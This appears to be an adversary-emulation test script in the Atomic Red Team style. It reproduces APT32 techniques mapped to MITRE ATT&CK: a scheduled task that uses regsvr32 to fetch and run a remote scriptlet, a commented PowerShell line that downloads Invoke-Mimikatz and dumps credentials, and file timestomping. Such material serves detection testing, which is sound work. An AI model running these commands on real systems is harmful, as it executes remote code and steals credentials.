# Adversary Group: https://attack.mitre.org/wiki/Group/G0050
# xref: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
# Thanks to Nick Carr for his research on this group
# Sample Representation of ATT&CK Techniques used by APT32
# Tactics: Execution, Persistence, Privilege Escalation


# Tactic: Privilege Escalation / Execution
# Technique: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
# Create Scheduled Task With RegSv32 Payload

SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/6965fc15ef872281346d99d5eea952907167dec3/atomics/T1117/RegSvr32.sct scrobj.dll" /mo 30

SCHTASKS /Run /TN "Atomic Testing"

SCHTASKS /Delete /TN "Atomic Testing" /F

# Tactics: Execution
# Technique: PowerShell https://attack.mitre.org/wiki/Technique/T1086

# powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

# Tactics: Defense Evasion
# Technique: Timestomp https://attack.mitre.org/wiki/Technique/T1099
# Source: https://gist.github.com/obscuresec/7b0cf71d7a8dd5e7b54c

$test = "Atomic Test File"
set-content -path test.txt -value $test
$file=(gi test.txt);$date='7/16/1945 5:29 am';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date

# Tactics: Defense Evasion
# technique: File Deletion https://attack.mitre.org/wiki/Technique/T1107

# Deletes File, detection here would be File Modification
del test.txt

Write-Host "Done" -Fore Green